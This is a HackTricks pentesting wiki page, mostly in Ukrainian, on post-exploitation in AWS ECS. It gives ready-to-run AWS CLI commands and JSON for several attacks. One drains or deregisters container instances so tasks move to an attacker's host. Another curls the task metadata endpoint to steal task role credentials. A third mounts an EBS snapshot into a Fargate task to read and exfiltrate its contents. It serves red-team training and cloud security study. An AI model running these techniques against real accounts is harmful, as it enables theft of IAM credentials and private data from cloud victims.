AWS - ECS Post Exploitation

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

ECS

For more information check:

AWS - ECS Enum

Host IAM Roles

В ECS до задачі, що виконується всередині контейнера, можна призначити IAM role. Якщо задача запускається в EC2 instance, на EC2 instance буде прикріплено ще одну IAM role.
Це означає, що якщо вам вдасться компрометувати ECS instance, ви потенційно можете одержати IAM role, пов’язану з ECR та EC2 instance. Для детальнішої інформації про те, як отримати ці облікові дані, дивіться:

Cloud SSRF - HackTricks

Caution

IMDSv2 with a hop limit of 1 does not block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation for the full attack workflow and bypass notes. Recent Latacora research shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.

Privesc to node to steal other containers creds & secrets

Крім того, EC2 використовує docker для запуску ECS tasks, тож якщо ви зможете дістатися до ноди або access the docker socket, ви зможете перевірити, які інші контейнери запущені, і навіть потрапити всередину них та вкрасти прикріплені IAM roles.

Making containers run in current host

Крім того, EC2 instance role зазвичай має достатньо permissions, щоб update the container instance state EC2 інстансів, що використовуються як ноди в кластері. Атакуючий може змінити state of an instance to DRAINING, тоді ECS remove all the tasks from it, а ті, що запускалися як REPLICA, будуть run in a different instance, потенційно в інстансі атакача, що дозволить йому steal their IAM roles та отримати можливу чутливу інформацію всередині контейнера.

aws ecs update-container-instances-state \
--cluster <cluster> --status DRAINING --container-instances <container-instance-id>

Ту саму техніку можна виконати, відреєструвавши EC2 instance з кластера. Це потенційно менш приховано, але змусить задачі виконуватися на інших інстансах:

aws ecs deregister-container-instance \
--cluster <cluster> --container-instance <container-instance-id> --force

Останній спосіб примусити повторне виконання tasks — повідомити ECS, що task or container was stopped. Є 3 потенційні APIs для цього:

# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster <value> \
--status STOPPED --reason "anything" --containers [...]

# Needs: ecs:SubmitContainerStateChange
aws ecs submit-container-state-change ...

# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...

Приєднатися до кластера з атакуючого хоста (Register Container Instance)

Інший варіант (більш прямий, ніж draining) — додати під контрольну вами ємність у кластер, зареєструвавши EC2 інстанс як container instance (ecs:RegisterContainerInstance) і встановивши необхідні атрибути container instance так, щоб placement constraints відповідали. Коли завдання потраплять на ваш хост, ви зможете інспектувати/виконувати exec у контейнерах і отримати облікові дані AWS_CONTAINER_CREDENTIALS_RELATIVE_URI.

Див. ECS privesc page section on ecs:RegisterContainerInstance для повного workflow.

Steal sensitive info from ECR containers

EC2 інстанс, ймовірно, також матиме дозвіл ecr:GetAuthorizationToken, що дозволяє йому завантажувати образи (ви можете шукати в них чутливу інформацію).

Steal Task Role Credentials via ecs:ExecuteCommand

Якщо ExecuteCommand увімкнений на таску, принципал з ecs:ExecuteCommand + ecs:DescribeTasks може відкрити shell усередині запущеного контейнера і потім звернутися до task credentials endpoint, щоб отримати креденшали task role:

  • From inside the container: curl -s "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
  • Use the returned AccessKeyId/SecretAccessKey/Token to call AWS APIs as the task role

Див. ECS privilege escalation page для прикладів команд та переліку дій.

Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations)

Зловживати нативною ECS EBS integration (2024+) щоб змонтувати вміст існуючого EBS snapshot безпосередньо всередині нового ECS task/service і прочитати його дані з контейнера.

  • Потрібно (мінімум):

  • ecs:RegisterTaskDefinition

  • Одне з: ecs:RunTask OR ecs:CreateService/ecs:UpdateService

  • iam:PassRole на:

  • Інфраструктурна роль ECS, що використовується для томів (policy: service-role/AmazonECSInfrastructureRolePolicyForVolumes)

  • Task execution/Task roles, зазначені в task definition

  • Якщо snapshot зашифровано CMK: потрібні KMS дозволи для інфраструктурної ролі (the AWS managed policy above includes the required KMS grants for AWS managed keys).

  • Вплив: читання довільного вмісту диску зі snapshot (наприклад файли бази даних) усередині контейнера і ексфільтрація через мережу/логи.

Steps (Fargate example):

  1. Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy:
aws iam create-role --role-name ecsInfrastructureRole \
--assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}'
aws iam attach-role-policy --role-name ecsInfrastructureRole \
--policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes
  1. Зареєструйте task definition з volume, позначеним як configuredAtLaunch, і змонтуйте його в container. Приклад (виводить secret, потім спить):
{
"family": "ht-ebs-read",
"networkMode": "awsvpc",
"requiresCompatibilities": ["FARGATE"],
"cpu": "256",
"memory": "512",
"executionRoleArn": "arn:aws:iam::<ACCOUNT_ID>:role/ecsTaskExecutionRole",
"containerDefinitions": [
{"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest",
"entryPoint":["/bin/sh","-c"],
"command":["cat /loot/secret.txt || true; sleep 3600"],
"logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}},
"mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}]
}
],
"volumes": [ {"name":"loot", "configuredAtLaunch": true} ]
}
  1. Створіть або оновіть сервіс, передавши EBS snapshot через volumeConfigurations.managedEBSVolume (вимагає iam:PassRole для інфраструктурної ролі). Приклад:
{
"cluster": "ht-ecs-ebs",
"serviceName": "ht-ebs-svc",
"taskDefinition": "ht-ebs-read",
"desiredCount": 1,
"launchType": "FARGATE",
"networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}},
"volumeConfigurations": [
{"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam::<ACCOUNT_ID>:role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}}
]
}
  1. Коли task запускається, container може прочитати вміст snapshot за налаштованим mount path (наприклад, /loot). Exfiltrate через task’s network/logs.

Прибирання:

aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0
aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read

Посилання

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks